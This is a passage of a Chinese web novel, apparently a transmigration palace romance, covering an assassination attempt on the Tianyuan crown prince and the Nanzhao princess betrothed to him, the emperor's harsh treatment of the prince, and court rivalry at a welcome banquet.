从傅家与沈家敲诈的,加上傅家自取的,还有贵妃孟家给的,足足五十万两银票,沈安若泉全部给了沈安昕。 用于月清城的建设。 在天涯山耽误了一天,在幽州又耽误了几天,接下来队伍轻装上阵,快速的朝天元皇城赶去。 王司记与玉儿翡儿都让人带着骑马了。 沈安昕看着越来越远的队伍,眼里忍不住湿润,往后姐妹二人见面就少了,紧握了拳头。 若儿把全部身家都交给了自己,自己一定要将天涯山收服了。 陆今也看着远去的队伍。 “大小姐不要难过,等到我们这边稳定下来,我们也可以去皇城看望公主的。” 沈安昕点了点头。 “我明白的,短暂的分离是为了更好的相聚。” 陆今也拱手道。 “大小姐,我去城里了解一下各家粮铺。” 沈安昕见状却开口道。 “等等,我与你一起去。” 天涯山,运回来的粮食还有一些蔬菜,还有买了两头猪肉,都放在了龙虎山寨。 大胡子看着江千屿。 “二当家…………” 江千屿看了他一眼。 “叫什么二当家?以后我们就不是山匪了,喊我江公子。” 打胡子听了急忙开口。 “好,江公子。” 随即又一副想起什么的样子。 “不对啊江公子,就算你不是二当家了,我们不是还有一个二当家吗?” 江千屿听了沉思片刻。 “也是,等我下次见面的时候跟二当家的商量一下,既然我们都不当山匪了,是不是该换一个称呼?” 目光看向大胡子。 “你刚刚要说什么来着?” 大胡子开口道。 “咱们以后真的要听那两个女人的吗?” “大当家回来怎么办?” 江千屿伸手拍一下大胡子的头。 “不听能怎么办?你不想活命了?” “至于大当家,等他回来再说吧。” 梧州。 一连赶了五天的路,因为到了天元地盘,到了驿站就可以换马,沈安若等人脚程快了许多。 让沈安若有点郁闷的是,商玄澈在天元不是不受宠吗? 不是其他皇子都在争夺储君之位吗? 这按照小说剧情不应该有刺杀环节吗? 看着她沉思的模样,商玄澈放慢了速度。 “若若,可是累了,就要到梧州驿站了,你要是累了,咱们原地休息一下。” 沈安若闻言微微摇头。 “既然快到驿站了,那就加快速度吧,到了驿站也好让大家休息。” 说完加快了速度。 “驾………………” 后面的队伍急忙跟上。 抵达梧州驿站时,天色已经开始暗下来了。 可是看着眼前的驿站,沈安若等人都懵了,因为驿站好像被烧了! 驿站的官员匆匆而来,看见商玄澈急忙行礼。 “微臣参见太子殿下。” 商玄澈看着残破的驿站皱了皱眉。 “这是怎么回事?” 驿站的官员一脸无奈的开口。 “回太子殿下的话,前两日因为天气降温 ,驿站里的人就想着生活取暖 ,结果不知怎么的大火就烧起来了,这………这就成了这个样子,微臣正在亲自带人修葺。” “都是微臣管束不力,这才导致驿站着火了,还请太子殿下恕罪。” 都烧成这样了,肯定是不能再住人了,陈先生开口道。 “殿下,看来今晚我们只能去镇上的客栈住了。” 于是,一行人便转道前往梧州镇上的客栈。 等到安顿了下来,众人吃了饭以后,沈安若开窗看着窗外的夜色,心里陷入一抹沉思。 不对劲,怎么这么巧驿站就着火了?而且到了客栈的时候,原本准备包下客栈的,掌柜的却告知有赶考的学子,不能赶走。 商玄澈推门进来,就看到她站在窗边的样子。 “若若,是睡不着吗?” 沈安若缓缓开口。 “不知道是不是我多想了,总感觉有点不对劲。” 商玄澈伸手握住她的手。 “的确有不对劲的 ,我们一路到梧州太顺利了。” “不过你该休息了,很晚了。” 抬手将窗户关上。 “走吧,你睡,我守着你。” 这具身子本来就还没有练好,沈安若早就累的不行了,躺在了床上,商玄澈抬手挥灭了蜡烛。 “你睡吧,没有人知道我来了你的房间。” 大概一个时辰。 原本睡着的商玄澈猛然睁开了眼睛,抬手捂住自己的鼻子和沈安若的鼻子。 沈安若一瞬间睁眼,看着商玄澈对着自己使眼神,一下子坐了起来,拿出手帕捂住自己的鼻子。 隐隐约约的之间门外有一个人影,正拿着管子对着房间里吹迷烟。 二人慢慢的起身,却见外面忽然亮了起来。 着火了! 二人相视一眼,然后急忙冲出去。 “走水了,快起来………” 沈安若着急的大喊。 忽然一支利箭疾驰而来…………… 第七十四章 武器 商玄澈一把拽过沈安若。 “小心…………” 紧接着是无数的利箭疾驰而来。 握草,刺杀来了。 商玄澈执剑将沈安若护在身后。 看着客栈里越来越多的地方着火,又是大火,又是迷烟,又是这么多箭,合着之前没有的刺杀是积攒到一块了是吧? 沈安若快速的推开隔壁房间的门,大声的呼喊。 “王司记…………” 快速的看了一眼门外,从空间拿出一桶水,直接朝躺在床上昏睡的王司记和玉儿泼去。 二人惊醒过来。 就见外面燃烧着熊熊大火。 沈安若带着几分急切的声音响起。 “快跑出去,有刺杀。” 随即又去另外的房间喊其他人。 该死,到底是多少人被下了迷药。 王司记和玉儿在沈安若的催促下,慌忙穿衣下床,踉跄着往外逃。 与此同时,商玄澈以一己之力抵挡着如雨点般落下的箭矢,为众人争取逃生时间。 他的剑法凌厉,每一次挥剑都能精准地拨开或击落飞箭。 听着沈安若大声喊着大家快醒的声音,商玄澈手里的剑越发凌厉。 这一次,不再是自己一个人面对了。 剑柏剑兰很快醒过来也加入道叫醒其他人中。 众人都逃到了空旷的街道上,不少人因为没有及时逃出房间受伤了。 甚至还有死亡的。 四面八方的黑衣人持刀冲来,一场激战在夜幕下展开,火光映照着刀光剑影,金属交击声与呼喝声此起彼伏。 商玄澈看了一眼几个书生挤在一起,满眼的惊慌,但是手里都抱着书。 “苍术,让几个人保护好那几个书生。” 然后持剑与黑衣人厮杀在一起,商玄澈等人虽然武艺高强,但面对源源不断的黑衣人,也感到压力倍增。 商玄澈眉头紧皱。 “若若,不许冲出去,跟在我的身后。” “苍术,保护好陈先生。” 许多人刚从迷药中醒来,战斗力还差了一些,沈安若咬牙切齿的开口。 “剑柏,剑柏,保护好王司记和玉儿翡儿。” 忽然一把大刀砍来,沈安若侧身躲开,抬脚一脚踹在刺客的下巴上,夺过他手里的刀,眼里露出一抹杀意,果断的将大刀贯穿刺客的胸膛。 迷烟,大火,箭雨,拦路刺杀,还真是一环扣一环,等到了天元皇城,查出来是哪个王八蛋干的,定要他血债血偿。 刺客越来越多,保护商玄澈的人一个接一个倒下。 沈安若看了看战况,眼里闪过一抹犹豫,要不要用手榴弹?如果用了怎么解释?如果不用 ,这一关只怕是有点难过啊。 眼见商玄澈执剑挡住两个刺客的剑,左侧却有人偷袭。 沈安若急忙持刀冲过去。 “小心。” 解决了那个刺客以后,沈安若大声呼喊。 “所有人,朝我们靠近。” “快……………” 大家一边打一边朝沈安若靠近。 很快将商玄澈与沈安若围在中间。 沈安若从空间里拿出一个手榴弹,扯开线,扔向刺客群。 “轰——” 一声巨响,手榴弹在刺客群中爆炸,火光四溅,浓烟滚滚。 刺客们被炸得七零八落,惨叫声此起彼伏。 这一突如其来的爆炸让所有人都愣住了,包括商玄澈。 他转头看向沈安若,眼中闪过一丝惊讶,这是什么东西?杀伤力好大。 沈安若眼里都是冷意,朝另外两个方向分别扔了手榴弹。 “轰——轰——” 连续两声巨响,手榴弹在刺客群中再次爆炸,火光冲天,浓烟弥漫。 刺客们的惨叫声、哀嚎声此起彼伏,整个街道仿佛变成了人间炼狱。 商玄澈等人被这一幕深深震撼,他们从未见过如此强大的杀伤力,一时间竟忘了言语。 在手榴弹的强大杀伤力下,刺客们死伤惨重,剩余的刺客也被吓得魂飞魄散,纷纷逃窜。 “撤…………撤退…………” 此时天也见明。 梧州的知府带着官兵匆匆赶来。 “参见太子殿下,微臣救驾来迟,还请太子殿下恕罪。” 商玄澈一脸的严肃。 “起来吧,清理一番,还有几个赶考的学子,询问一下他们是否伤亡,亡者做登记,伤者立即医治。” 天元皇城。 秦王府。 秦王商玄启与五皇子商玄冥正在坐在一起用膳。 五皇子端起一杯酒。 “皇兄,这杯敬你。” “恭喜皇兄即将登上太子之位。” 秦王听了脸上带着一抹笑意,举杯与四皇子碰杯。 “五弟言之过早了。” 五皇子笑着开口。 “很快就会有太子接亲途中遭遇刺杀的消息传来了,皇兄以后就是父皇的长子,又深的父皇信任,这太子之位非皇兄莫属。” “皇兄,昨日我新得了一个歌姬,跟寻常歌姬不一样,舞跳得别具一格,要不让她进来跳上一舞,就当是给我们喝酒助兴了。” 秦王商玄启微微颔首,眼里闪过一丝兴趣,“哦?别具一格的舞?能够让五弟你称赞的舞应该多少还是有点看头的,让她进来吧。” 五皇子商玄冥击掌,立刻有下人带着一名女子走了进来。 那女子身着特别的舞裙,秦王一下子坐直了身子。 只见女子带着面纱,身着色彩鲜艳、装饰精美的服装,紧身短上衣凸现出那傲人的身材,上衣绣有精美的孔雀图案,筒裙则采用鲜艳的色彩,还带着绿色的羽毛,走动时裙摆摇曳生姿,宛如孔雀开屏。 这都不用等她跳舞了,就这身材,就足够让人迷恋。 五皇子看着秦王看舞女的眼神,眼底都是笑意。 女子款款行礼后,随着乐声起舞,舞姿轻盈曼妙,手势灵巧多变,脚步轻盈飘逸,仿佛一只真正的孔雀在舞台上展翅开屏,炫彩夺目。 五皇子端起酒杯。 “怎么样?皇兄,这舞有看点吧。” 秦王商玄启看着舞动的女子,眼中闪过一丝赞赏。 “的确有看点,完美的诠释了女子的身材柔美,这舞以往的时候可从未见过。” 五皇子缓缓开口。 “臣弟也是昨日第一次见。” 此时一舞毕。 女子上前缓缓行礼。 “见过两位殿下。” 秦王听了看着灵动的眼睛。 “叫什么名字。” 女子微微低头。 “小女沈安锦!” 一边说着轻轻取下面纱,抬头一张绝美娇艳的脸庞露出来,眉如远山含黛,目似秋水含情,唇若点樱,肌肤胜雪,是难得一见的美人。 商玄启看着沈安锦的容颜,眼中闪过一丝惊艳,这样的美人倒是难得,而且跳舞也特别。 “人美舞也美,还真是一个妙人儿。” “这舞你是从哪里学的。” 沈安锦恭敬的开口。 “回殿下的话,这是南诏的孔雀舞。” 秦王看了看她。 “你不是天元人?” 沈安若也快要到天元了,她要是看见自己肯定会拆穿自己的身份,自己不如先一步将身份说清楚,沈安锦继续低头开口。 “小女是南诏人,家中妹妹因为想要攀附权势,让我替嫁,结果我替嫁以后她又见不得我过的好,设计毁了小女的名声,还要置小女为死地,小女被逼无奈,一路逃亡,路上又用光了盘缠,迫不得已成为了歌姬。” 梧州。 商玄澈等人暂时安置在了知府里。 沈安若心里忍不住打鼓,这该如何解释。 商玄澈给她倒了一杯茶。 “若若,你用的那个武器是什么?为什么会爆炸,杀伤力如此大。” 第七十五章 罚跪 死脑子快想啊,沈安若心里一急,很快开口。 “我也不知道是什么,是以前我在大街上救了一个乞丐,当时那个乞丐快要饿死了,我就给了他一些馒头,后面给了一点碎银子,说让他做一点小生意,然后他就送给我几个东西,说是就当是救命之恩的报酬,我今天也只是想着试一试,没想到有这么大的威力。” 商玄澈听得微微皱了皱眉。 “那你还记得那个乞丐长什么样吗?” “有没有问过这东西是从哪里来的?” 沈安若摇了摇头。 “他当时一脸脏兮兮的,我也看不清楚他长什么样子,他给我的时候再三叮嘱,让我要好好的保管,不到万不得已的时候不可以拿出来用,今天我见那么多的刺客,眼看是要打不过了,心里一慌,就拿出来用了。” 当真是这样吗?一个乞丐的手里会有威力如此大的武器?商玄澈看了看沈安若,罢了,她不愿意说就不说吧! 此时苍术与陈先生走进来。 “太子,公主。” 陈先生继续开口。 “主子,我们的人死了十一人,十六人受伤,另外那些书生有两人葬身火海,逃出来的三个人受了伤,知府已经安排人医治了,他们想要感谢太子殿下的救命之恩。” 商玄澈缓缓开口。 “告诉他们,不用谢,此事本来也是本宫连累了他们,问一下死了的那两个学子的家是哪里的,派人送一点银子过去。” 陈先生却继续拱手道。 “殿下,不如见一见吧,这几个学子在下观察了一下,大火之中逃命还能惦记着书的,应该是可用之才。” 也是,过了年就是春闱了,到时候几个皇子都会拉拢考生 ,商玄澈缓缓开口。 “让他们进来吧。” 不一会儿,几位衣衫略显凌乱却神色坚毅的年轻书生被引领进来,他们的眼中既有劫后余生的庆幸,见到商玄澈,他们连忙行礼,声音中带着一丝不易察觉的颤抖。 “草民等,叩谢太子殿下救命之恩。” 商玄澈轻轻抬手,示意他们免礼。 “诸位不必多礼,今日之事,本宫亦有责任,未能及时护得诸位周全,本宫心里也有愧。诸位能在危难之中仍不忘保护书籍,可见对学问之执着,对文化之尊重,实乃我朝之幸。” 几人紧张的相视一眼,太子殿下不是传闻嗜杀成性,怎么说话如此的温和? 其中一位书生,面容清癯,向前一步,恭敬地说。 “殿下言重了,草民等不过是一介书生,能得殿下相救,已是万幸 ,救命之恩,草民等定当铭记,殿下他日若有所用,必当肝脑涂地,以报万一。” 商玄澈看着几人缓缓开口。 “诸位既有此心,本宫自当欣慰。春闱在即,诸位当好好准备,争取金榜题名,为天元效力。至于今日之事,本宫听说你们结伴而行的有两位不行丧生火海,你们可否知道这二人叫什么名字,是哪里人?” 另外一个学子上前拱手。 “回殿下,逝世的两位同窗分别是李青白与赵文轩,李青白乃江南宿州化县草籽村人士,家境贫寒却才情出众,赵文羽则是百色州岩石小村庄出身,勤勉好学,为人和善。他们二人皆是心怀大志,渴望通过科举改变命运,不料遭遇此难,实在令人痛心。” 商玄澈闻言,神色凝重,略作沉思后道。 “陈先生,记下来,命人备下抚恤金,送往二位学子家中。” 几个学子听了以后,面色更是露出了惊讶的神情,太子居然要给抚恤金? 轩辕看向几位学子,打量了他们身上的穿着,虽然身上的衣服带着明显的灰烬,可是也看得出来,都是比较旧的衣服了,看来家境也不太好。 “你们几人匆忙从火海中逃出来,想来随身所带的银子只怕也遗落在客栈之中。” 然后看了陈先生一眼。 “陈先生。” 陈先生上前一人给了一锭银子。 “几位,这是太子殿下的一片心意,希望你们春闱的时候好好的发挥,到时候考进前三甲,一能够为天元效力,二能够光宗耀祖。” 看着手里的银子,几人相视一眼,传言不可信啊,这哪里嗜杀成性了?这不是心怀百姓的明君吗? 几人急忙跪下。 “草民贺慕行,草民宋淮之,草民邵阳,多谢殿下的知遇之恩。” 宋淮之更是拱手道。 “若是殿下不嫌弃,我等要是有幸考上前三甲,愿意效忠殿下。” 效忠天元和效忠太子,这可是两个意思,陈先生见状笑着开口。 “几位好好备考就是,我们殿下求贤若渴,若是几位有能力,殿下定会委以重用。” 自己虽然还未到皇城,但是却已明白一个道理,皇城那种地方,勋贵如云,寒门学子就如同地上的蚂蚁,若是能够得太子殿下看中,往后岂不是锦绣前程? 几人急忙行礼。 “草民等定全力以赴,不负殿下所望。” 处理完学子的事情,商玄澈等人继续赶路。 两天后。 终于到了皇城。 将沈安若等人安顿在驿站以后,商玄澈进宫给天元皇复命。 皇宫里。 秦王正在陪着天元皇练字。 “父皇这字写得真是越来越好了,儿臣自愧不如。”秦王商玄瑜一边研磨,一边看着天元皇的字开口。 天元皇哈哈大笑。 “朕的字能够有进步,都是你的功劳,要不是你时常都来陪朕练字,朕哪里能够静得下心来?” 对于自己的几个儿子,要说最满意的,还是这个秦王,孝顺又有能力。 不像太子,虽然也有能力,可是却心机太重了一些,而且自从上了战场以后,身上的弑杀之性越来越重,哪有一个仁慈储君的样子。 甚至总是能够招惹一些麻烦,想到今日一早梧州送来的奏章,天元皇脸色都沉了几分。 小太监恭敬的走进来。 “皇上,太子殿下求见。” 天元皇冷声开口。 “让太子进来吧。” 商玄澈大步流星的走进来,浑身都自带威严,当看到了站在轩辕皇身边的秦王,眼里闪过一抹幽光,恭敬的跪下。 “臣给陛下请安。” 天元皇头都没有抬。 “回来了?南诏公主呢?” 商玄澈跪着拱手。 “回陛下的话,臣已经将南诏公主安置在驿站,后续听陛下的安排。” 天元皇拿起手中的字朝秦王开口。 “你不是说朕这字越来越好吗?这副字就送你了。” “德才兼备,君子之风,适合你。” 秦王急忙接过画。 “儿臣多谢父皇,儿臣就知道,父皇是最疼爱儿臣的。” 看着这父慈子孝的一幕,商玄澈低头眼里闪过一抹失落。 “臣离开近两月,不知陛下身体可否安康。” 天元皇这才看了商玄澈一眼。 “难不成你盼望朕不好?” 自己不是这个意思,为何父皇一直都要误会自己的意思,商玄澈眼里的失落又重了几分。 “臣不敢。” “臣只是关心陛下龙体。” 天元皇冷哼一声。 “哼。” “朕收到了梧州的奏章,你身为太子,怎么连几个学子都没有保护好?” “居然连累了两个学子丧失生命,这可是天元未来的栋梁。” 父皇当真心里没有自己,都不问自己有没有受伤,也不问一句刺杀是怎么回事,反而是一味地责备,也是,这么多年了,自己早该习惯了。 “是臣无用。” 天元皇看了冷漠的开口。 “你的确无用,那两个学子之所以葬身火海,还不是受你这弑杀之名连累的,有过就要罚,去外面跪两个时辰,就当给那两个学子赔罪了。” 商玄澈震惊的抬头看着轩辕皇,眼尾一红,最终拱手。 “是。” 第七十六章 以后我陪你 驿站里。 沈安若已经沐浴了一番,看着烛火,眼里露出一抹沉思。 王司记端了热茶上来。 “殿下,要不先休息吧。” “天色很晚了,赶路这么多天,你也乏了。” 沈安若端着手里的热茶。 “这太子请安够久啊,还说今晚会给本宫带吃的回来,让本宫尝尝天元的糕点。” 公主自小在沈家长大,又有大小姐护着,对宫里的那些明争暗斗又怎么会知道?天元太子这个时候都不见回来,要么有事耽搁了,要么就是被什么事情给迫不得已留住了,王司记看了看沈安若。 “估计太子是被什么事耽搁了,要不殿下你先休息?若是太子来了,妾身再喊醒公主。” 沈安若听了看着王司记。 “王司记,你说他会被什么事耽搁了呢?” 看着王司记低头沉默,沈安若继续开口。 “王司记,以后我们就要在这天元生活了,你若是知道或者明白一点什么,是不是应该告诉本宫?” 王司记听了缓缓开口。 “殿下,之前太子殿下说过他不得天元皇宠爱,相反是秦王更得天元皇宠爱,按照宫里争斗的规则,太子殿下大概率被为难了。” 沈安若听了冷笑一声。 “呵,这人啊,还真是明明有两只眼睛偏偏只想往一处看,本宫倒是与他同病相怜了,都有一个偏心的没边了的爹。” 这话可不能随便说,这里可是天元,王司记急忙开口。 “殿下,当心隔墙有耳。” 沈安若听了沉默了片刻。 “罢了,准备休息吧。” 然后看了一眼玉儿翡儿,还有剑柏剑兰。 “你们也去休息吧,看了这么久的路,大家都乏了,先休息好,明日本宫有事情交代你们去做。” 几人听了恭敬的退下。 沈安若乃是南诏的和亲公主。 她的住行自然是驿站都安排妥当的。 沈安若坐在梳妆台旁,抬手将发簪拆了下来,因为商玄澈说要过来,所以沐浴以后将发丝挽了起来。 王司记在一旁将温热的手帕递上。 “殿下,擦擦脸吧。” 沈安若接过手帕,擦了擦脸,又擦了擦手。 “王司记本宫记得你是当年跟在母亲身边伺候的人,只是没有被母亲带出宫。” 王司记点头道。 “是,兜兜转转来伺候公主,是妾身的福气。” 沈安若笑着开口。 “异国他乡,姐姐也留在幽州了,王司记这一路教会了本宫不少东西,往后王司记要是不介意,本宫唤你一声姨母如何?” 王司记闻言,眼眶微微泛红,连忙屈膝行礼 “公主殿下如此抬爱,妾身怎敢当。能陪伴在公主身边,为公主分忧,已是妾身莫大的荣幸。” 沈安若站起身,亲自扶起王司记,语气中带着几分真挚。 “姨母,在这天元,本宫举目无亲,有姨母在旁,心中也安稳许多。” 自己并不是在公主小时候就跟在她身边的,这主仆属于半路主仆,自己听皇上的命令照顾好公主,平日里公主并无半点架子,可是自己也看的出来,群主是一个外柔内刚之人,而且心怀大义,王司记感动之余,心中也有感概。 “妾身跟在殿下身边的时间并不长,但是妾身看得出来,殿下宅心仁厚,心怀大意,既然殿下今日喊妾身一声姨母,殿下放心,妾身定当竭尽全力,护公主周全。” 沈安若笑着开口。 “本宫相信姨母,夜深了,姨母也去休息吧,往后我们只怕是有的忙了。” 王司记听了开口道。 “今晚妾身给殿下守夜。” 沈安若听了笑着拍了拍王司记的手。 “去休息吧,养足精神,本宫阔以照顾好自己的。” 也是刚刚到天元,明日还得好好熟悉熟悉这天元,王司记福身行礼。 “妾身就睡殿下的隔壁,殿下有需要就喊妾身。” 沈安若点了点头。 王司记这才退下。 走到床边,沈安若脱了自己的外衫,正准备躺下。 却传来了敲门的声音。 沈安若皱皱眉,走到门口,将门打开。 就见商玄澈站在门口,身上还带着几分冷意,沈安若眼里闪过一抹惊讶。 “你怎么会这个时候来了?” 商玄澈从怀里拿出一包糕点递给她。 “说好的给你带天元的糕点。” 其实自己知道很晚了,可是不知道为什么,就是想见一见她。 手上的油纸包传来温热,想到他刚刚拿出糕点的位置,看来这糕点他是一路捂着的,不然这么凉的天气,这糕点早就该凉了,沈安若身子往后退了一步。 “既然都来了,那就进来喝杯茶吧。” 商玄澈却没有走进来。 “明日再来喝,很晚了,你休息吧。” 沈安若微微挑眉。 “进来。” 脸上没有以往常见的笑意。 商玄澈忍不住捏了捏自己的手袖,奇怪了,自己就是在父皇面前也没有这么紧张过。 沈安若已经转身朝里面走去。 “我有话跟你说,进来。” 商玄澈这才缓缓抬脚走进去,可是到底跪了两个时辰,走起路来多少有些不自然。 沈安若刚刚坐下,抬眼就看到了他走路的样子,抬手给他倒了一杯热茶。 “说吧,你的腿怎么了?” 商玄澈在一旁坐下。 “你看出来了?” 沈安若缓缓开口。 “我又不瞎。” “说说吧,怎么回事?” 商玄澈沉默一下。 “这都是小事,左右我已经习惯了…………” 却在沈安若的目光中,声音小了下来。 沈安若看着他一脸的认真。 “商玄澈,是不是本宫这一路太好说话了,让你忘记了你是本宫的男人了?” 她每次说话都是一脸的笑意,甚至面对不喜欢的人也是,很少见她这般疾言厉色的模样,她这是关心自己对吧!商玄澈低头开口。 “刺杀的事情连累了学子,陛下罚我跪了两个时辰。” 沈安若真的是一下子就笑了,不过是气笑的。 “你可是他亲儿子,这刺杀的事情他不是应该关心你有没有受伤吗?居然还用这个理由罚你,你这个父亲还真的不是一般人。” 商玄澈眼里满是落寞。 “这么多年我已经习惯了。” 看着他的眼神,沈安若伸手握住他的手。 “商玄澈,你习惯了又如何?你不习惯又如何?都不是别人伤害你的理由,对比膝盖上的伤,你现在心里更难受吧?” “商玄澈,不疼你的人你没必要在乎,哪怕这个人是你的父亲,父慈子孝,要父慈子才孝。” 从小母后教育自己的都是要讨父皇欢心,要听父皇的话,原来不疼自己的人没必要在乎吗? 沈安若已经起身,蹲下身子,将他的裙摆撩起来。 商玄澈伸手抓住她的手。 “你要做什么?” 沈安若从袖子里拿出一瓶药。 “自然是给你上药啊。” “怎么?你还要在我面前害羞吗?你哪里我没有看过?” 商玄澈却看着她的眼睛。 “所以你心疼我?” 沈安若无语的笑了一下。 “那不然呢?” 商玄澈轻轻放开她的手腕,沈安若将他的裤脚也撩起来,还好古代的裤子宽松,好撩。 两个膝盖已经是一片青紫,甚至有些地方已经破了皮,沈安若看了一眼,随即从瓶子里倒出药酒,抬手轻轻的抹在他的膝盖上。 商玄澈只觉得膝盖上一片冰凉,随即就是火辣辣的感觉传来,忍不住皱眉,却看到沈安若一脸认真的轻轻给自己揉着。 “忍一忍,这药酒刚开始有些疼,可是效果好,明日起来就不会那么难受了。” 看着她低头认真的模样,商玄澈只觉得心里暖暖的,一种奇怪的感觉在心里蔓延,忍不住开口。 “若若。” 沈安若抬头看了他一眼。 “怎么了?是太疼了吗?我尽量轻点。” 商玄澈却突然伸手将她拉进怀里,沈安若猝不及防,一下子跌坐在他的腿上,手里的药酒也洒了一些出来。 “你做什么?” 沈安若有些恼了,自己好心给他上药,他居然占自己便宜。 商玄澈却紧紧抱着她,将头埋在她的颈间,声音有些闷闷的。 “让我抱一会,就一会。” “今日秦王也在,明明都是父皇的儿子。” 秦王也在,原来如此,沈安若伸手搂着他。 “不用在意他们,以后我陪着你。” “我什么时候见你父皇。” 商玄澈抱着她开口。 “三日后宫里会给你办接风洗尘宴。” 沈安若眼里闪过一抹光芒,三日后么。 第七十七章 赏 宴会这一天。 为了表示对和亲的重视。 宫里办了一场大型宴会。 王公贵族世家夫人都来了,操办宴会的是皇后,南诏公主是未来的太子妃,这场宴会哪怕是为了太子的脸面也得盛大。 沈安若一身南诏公主的服饰,采用红与黑的撞色搭配,体现南诏民族特色,头戴银饰发冠,搭配繁复的碎花裙装,展现异域风情,身为南诏公主,沈安若自然是差不多踩点来的,商玄澈陪同在她的身边。 时不时的忍不住将自己的目光放在她的身上,早在南诏的时候自己就知道她很美,可是在南召的时候她都穿着随意,今日刻意的装扮,更是让她美得像仙女那般,让人觉得不可亵渎。 洁白无瑕的肌肤就像是精美的陶瓷,柳叶眉,高鼻梁,那双如同狐狸般的眼睛下方有一颗泪痣,让人看一眼都感觉想把她藏起来,再也不让别人看见。 当沈安若与太子走入宴会的大殿,众人都急忙起身行礼。 “参见太子殿下,见过南诏公主。” 商玄澈带着她一步步走向她们的位置坐下,才开口道。 “免礼。” 沈安若看了一眼位置所在,在主位的左下首,这个位置还是比较特殊的,毕竟以左为尊,也是占上商玄澈的光了。 秦王看着沈安若,不由的打量,这就是锦儿说的妹妹了吗?难怪把锦儿逼得逃命,的确有几分姿色。 察觉到一抹不善的目光,沈安若抬头,就看到一个男子盯着自己。 这天元的男人这么没礼貌的吗? 秦王坦然开口。 “南诏公主。” 沈安若将目光看向商玄澈。 “太子殿下,这位是?” 商玄澈看了秦王一眼。 “这是秦王。” 随即再次看向秦王。 “秦王,凰仪公主刚到天元,若是唐突就有些失礼了。” 秦王忽然一笑。 “平日里见到太子殿下都是一副不苟言笑的模样,没想到本王不过是跟南诏公主打一个招呼,就让太子殿下着急了,看来太子殿下还真是在乎南诏公主啊。” 商玄澈缓缓开口。 “凰仪是和亲公主,天元的人礼应以礼相待。” 原来他就是秦王,长的…………一般,一眼就给自己一种猥琐的感觉,情商嘛,比起商玄澈差远了,果然是龙生九子九子各不同。 “原来这就是秦王。” 随即看向商玄澈。 “太子殿下,本宫记得在南诏的时候你跟本宫说过,天元的皇家子弟都是人中龙凤,气宇轩昂,为人更是彬彬有礼,现在看来………” “太子殿下你给本宫的消息有误啊,或者是说你对天元的皇家子弟并不了解,最起码秦王殿下给本宫的感觉,看不到半点的彬彬有礼,不像是皇家子弟。” 居然说自己不是皇家子弟,秦王心里燃起一股怒意。 “你……………” 此时传来太监的一道高呼声。 “皇上驾到,皇后娘娘驾到,贵妃娘娘驾到,宸妃娘娘驾到……………” 随着太监练出一大长串的名字,皇上带着几个妃嫔走了进来,身后跟着一群伺候的太监宫女。 众人急忙起身行礼。 “儿臣(臣等)(臣妇)(臣女)参见皇上,参见皇后娘娘,参见各位娘娘!” 皇上一身明黄色龙袍,上面用金线绣着龙形图案,象征皇室的尊严和权威。他的脸上带着温和的笑容,但双眼中却透露出不容忽视的威严。 只见皇上走到主位上坐下,皇后和贵妃一左一右的坐下。 “众位爱卿,平身。”皇上的声音浑厚有力,回荡在大殿之中。 众人齐声谢恩,然后纷纷起身。 天元皇目光在人群中扫过,最后落在沈安若的身上。 “这便是南诏最宠爱的公主吧?” 皇上微笑着开口。 “果然名不虚传,南诏的公主果然是倾国倾城。” 沈安若微微一笑,优雅地行礼。 “南诏凰仪见过天元陛下。” 天元皇看着她。 “凰仪?” “这是你的封号?” 沈安若微笑着开口。 “是,舅舅说过,凰仪是南诏至宝,封号也要是南诏最好的。” 凰仪这种封号,哪怕是皇后所生的嫡公主都不一定有,看来这南诏公主的确很受宠,南诏将最宠爱的公主送来和亲,的确是重视这场联姻,不过………… 天元皇的目光看了一眼太子,看来阴差阳错下,太子还得了一个好太子妃。 顾家的婚事被抢了,居然能娶南诏最宠爱的公主,这也算得上是柳暗花明又一村了,皇后的脸上带着满意的笑容。 “皇上,不如宴会开始吧。” 天元皇点了点头。 皇后这才开口。 “宴会开始。” 很快宫人们端着珍馐美味上来,各色佳肴琳琅满目,香气扑鼻。 丝竹之声悠扬响起,舞姬们轻盈起舞,为这场盛宴增添了几分乐趣。 商玄澈抬手给沈安若布菜。 “今日准备的菜都是天元的特色,你先尝尝,若是不合胃口,宴会结束以后我带你回太子府吃,太子府有准备南诏的菜。” 沈安若闻言笑着夹菜。 “太子殿下可真怜香惜玉。” 秦王看着低声交谈的二人,还有太子脸上居然有笑意,捏着酒杯的手一紧。 一个南诏公主而已,居然这么高兴吗? 随即朝天元皇拱手。 “父皇,凰仪公主初来天元,今日又是给凰仪公主的姬风洗尘宴,看这些普普通通的舞多少差一点意思,不如让一众贵女表演一番才艺,也当是两国的文化交流了。” 秦王都开口了,天元皇自然是允的,高声宣布。 “既然如此,那便请各位贵女自荐或他荐,展示一番,让南诏公主也领略一番我天元的风采。” 自己也想看看这位未来儿媳妇的风采,皇后挥手示意舞姬退下。 大殿内顿时热闹起来,几位贵女面露跃跃欲试之色,相互低语,似乎在商讨着要如何展现自己的才艺,以赢得在场人的青睐,尤其是皇家子弟的注意。 很快一位身着华丽衣裳的女子起身,行了一礼,声音清脆悦耳。 “臣女愿以一曲琵琶,就当是欢迎凰仪公主了。” 随着她款款走向中央,侍从迅速送上琵琶。女子轻拨琴弦,一曲《高山流水》缓缓流淌而出,旋律优美,如同春水潺潺,让人心旷神怡。 一曲终了,掌声雷动。 秦王更是开口称赞。 “真是此曲只应天上有,人间难得几回闻。” 受此鼓励,更多贵女纷纷上前,有的吟诗作对,文采飞扬;有的挥毫泼墨,字画俱佳;一时间,大殿内才艺纷呈,热闹非凡。 沈安若一边看着,时不时吃菜,时不时与商玄澈低声交谈着表演,二人脸上都带着笑意。 此时站在中间表演完跳舞的少女开口。 “晚宁的表演结束了,早就听闻南诏公主琴棋书画样样精通,不知凰仪公主要表演什么?” 正在夹菜的沈安若抬头,这是冲自己来的? 王司记低头在沈安若耳边开口。 “这是高家的小姐,看年龄应该是秦王的表妹。” 秦王的表妹,真是冲自己来的没错了。 见沈安若不说话,高晚宁抬起下巴,眼里带着一抹挑衅。 “凰仪公主是没有准备才艺吗?还是不敢表演?堂堂公主,未来的太子妃居然是一个怯弱之人。” 既然都打上门了,自己若是太过于客气,岂不是有失南诏公主的风度?沈安若笑着开口。 “本宫的确没有准备才艺。” 然后朝王司记使一个眼神。 “姨母,刚刚高小姐的舞蹈跳的非常好,比起在南诏给本宫跳舞的那些舞姬丝毫不差,赏。” 第七十八章 这是要换储君吗 这个赏字一出来,大殿里面神色各异。 在南诏的时候已经有过这样一次的经历了,王司记熟练的笑着拿出一块银子上前。 “高小姐,这是公主给的赏赐。” 